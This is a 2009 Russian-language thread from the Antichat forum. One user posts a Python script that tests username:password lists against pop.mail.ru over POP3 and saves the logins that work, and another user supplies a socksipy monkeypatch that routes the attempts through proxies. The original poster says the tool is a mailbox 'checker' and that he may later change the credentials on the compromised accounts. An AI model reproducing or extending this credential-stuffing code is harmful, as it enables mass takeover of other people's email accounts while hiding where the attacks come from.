Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

18.11.2009, 01:34
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме: 1180737
Репутация:
180
|
|
[Python] POP3 & Proxy
как этот скрипт модифицировать на роботу через прокси
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import poplib, email
# Учетные данные пользователя:
SERVER = "pop.mail.ru"
import sys
import string
try:
filename = sys.argv[1]
print "Используеться файл с данными " + filename
except IndexError:
print "Используется стандартный файл с данными input.txt"
filename="input.txt"
try:
f1 = open(filename, "r")
f_good = open("good.txt", "w")
except IOError:
print "Чёта я файл открыть немогу :("
exit(1)
while 1:
temp = f1.readline()
if not temp:
break
USERNAME = temp[0:temp.find(":")].strip()
if (len(USERNAME) < 3):
continue
USERPASSWORD = temp[(temp.find(":")+1):-1].strip()
if (len(USERPASSWORD) < 3):
continue
p = poplib.POP3(SERVER)
print p.getwelcome()
try:
print p.user(USERNAME)
print p.pass_(USERPASSWORD)
print p.quit()
f_good.write(temp)
except:
print "Пароль неподошол"
накатал седня утречком, а как работать с проксей на питоне незнаю.
Если работу через прокси можно легко внести сюда то может кто покажет как, если сложно то мож кто знает материальчик хороший на эту тему ?
|
|
|

18.11.2009, 10:57
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Два варианта - первый принудительно указывать переменную окружения (не факт что сработает).
Второй - Socksipy, но придется модифицировать poplib, а точнее обезьянопатчить
Вот тебе метод
Код:
def __init__(self, host, port=POP3_PORT,
timeout=socket._GLOBAL_DEFAULT_TIMEOUT):
self.host = host
self.port = port
self.sock = socket.create_connection((host, port), timeout)
self.file = self.sock.makefile('rb')
self._debugging = 0
self.welcome = self._getresp()
В принципе вполне хватит его заманкипатчить (с socksipy)
Ага, и да, катят только прокси с незарезанным методом CONNECT (в принципе другие и не прокатят и так)
В принципе в этих библиотеках больше доков чем кода.
Можна и саму библиотеку немного переписать под socksipy(но она херовая сама по себе  )
Последний раз редактировалось login999; 18.11.2009 в 11:01..
|
|
|

18.11.2009, 11:30
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Бла-бла-бла
От пиздёжа к делу.
Необходима socksipy :
Код:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import poplib
import socks
def create_connection((host, port), timeout):
proxy_addr = "0.0.0.0"#Адрес прокси-сервера
proxy_port = 8080#Порт прокси-сервера (типа int)
proxy_type = 3#Тип прокси-сервера (1-SOCKS5, 2-SOCKS4, 3-HTTP с разрешенным методом CONNECT)
soket = socks.socksocket() #Создание обьекта socksocket из socksipy
soket.setproxy(proxytype=proxy_type, addr=proxy_addr, port=proxy_port)#Установка прокси для него
soket.connect((host, port))#Вызов его метода connect
return soket#Возврат сокета из функции
poplib.socket.create_connection = create_connection
Вот тебе манкипатч.
После него пишешь весь свой код (естественно не импортируя повторно poplib  )
Проверил только что.
Как уже видно, он патчит метод create_connection из модуля socket, этот метод в библиотеке используется один раз - в атрибуте, который я указал выше.
Вроде работает.
Для себя - самое то, большего не нужно.
Для использования в более высоких целях - не катит ибо там саму socksipy нужно патчить под голимые пабликовые прокси.
|
|
|

18.11.2009, 14:17
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме: 1180737
Репутация:
180
|
|
Спасибо, домой приду попробую.
А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
|
|
|

18.11.2009, 14:32
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Сообщение от cupper
Спасибо, домой приду попробую.
А может тогда будет правильно переквалифицировать скрипт на более сложную логику через socket, там то это уже наверно можно делать легально с помощью библиотечных функций. Точнее я так и буду теперь делать, просто интерестно заранее узнать как там с этим?
Не вижу смысла усложнять.
poplib там и так элементарная.
Можно ей просто этот манкипатч всунуть в код да и все 
будет sockpoplib 
Переписать будет несложно 
Этот патч будет нормально работать так как этот метод вызывается только один раз. Просто в зависимости от целей нужно что-то думать.
Подскажи для чего оно нужно и подумаем, имеет ли смысл ее модифицировать. А насчет socksipy то она работает как надстройка над socket . Там парочка методов которые ничего особого не делают. Они только отправляют инициирующий запрос на соединение прокси/сокс-серверу, а потом просто связывают свой внутренний сокет с этим проксиком. Оно все прозрачно и красиво, но для моих целей неюзабельно ибо неустойчиво + еще пару минусов. Я вообще задумался над написанием своего собственного модуля для работы с хттп протоколом (хотя бы начального уровня, для своих потребностей) Хотя и планов то у меня как у Наполеона
|
|
|

18.11.2009, 16:21
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме: 1180737
Репутация:
180
|
|
ну как бы банально это не было, хочу свой чекер мыл сделать  для него этот метод как раз то самое.
Но если учитывать Наполеоновкие планы то возможно когда то в будущем сделать скрипт по изменению аутентификационных данных на good-мылах, хотя подумал и решил что правильней сначала прочекать а уже в другом скрипте можно и менять данные (но мож отпустит, и перехочется этим заниматься) так что остановлюсь на твоем методе.
|
|
|

20.11.2009, 00:06
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме: 1180737
Репутация:
180
|
|
Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд.
Может есть у кого еще идеи, как работают аналогичные чекеры ?
|
|
|

20.11.2009, 00:36
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
Сообщение от cupper
Подумал на досуге и понял что такой метод не канает, модификация идет глобальная а нужна локальная для каждого потока.
если например сделать параметр прокси передаваемый в эту функцию а не статический то придеться модифицировать часть стандартных функций библиотеки что вообще ни есть гуд.
Может есть у кого еще идеи, как работают аналогичные чекеры ?
Предлагю таки модифицировать poplib под свои нужды 
Могу завтра по свободе заняться.
Только чур не ругаться потом на socksipy.
Если нужно могу выложить свой немного поправленный прокси-чекер с модифицированной socksipy (правда там есть один нюанс - то ли криво работает Socksipy, то ли httplib2 (использовал socksipy в связке с ней), но я от этого варианта отказался из-за редкостной глючности). Прокси-чекер это класс а не приложение  . Вроде я его еще не удалил.
|
|
|

20.11.2009, 12:42
|
|
Постоянный
Регистрация: 12.06.2008
Сообщений: 654
Провел на форуме: 4512757
Репутация:
973
|
|
http://dl.dropbox.com/u/381215/sockspoplib.zip
Минимальные изменения в poplib (в предела патча+замечен один баг в самой poplib =/)
|
|
|

20.11.2009, 12:47
|
|
Постоянный
Регистрация: 06.06.2007
Сообщений: 575
Провел на форуме: 1180737
Репутация:
180
|
|
выкладывай, думаю лишнем не будет.
А что ты подразумеваешь под "модифицированной" библиотекой ? Это переопределенные функции в самом коде скрипта (по типу как ты сделал create_connection) или в самой библиотеке поправлено что то ?
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Proxy FAQ
|
iv. |
Анонимность |
75 |
01.05.2010 13:24 |
|
Живые прокси
|
xdx |
ICQ |
111 |
15.04.2007 13:10 |
|
Proxy
|
Kozak-Scv |
Анонимность |
2 |
11.02.2007 17:28 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|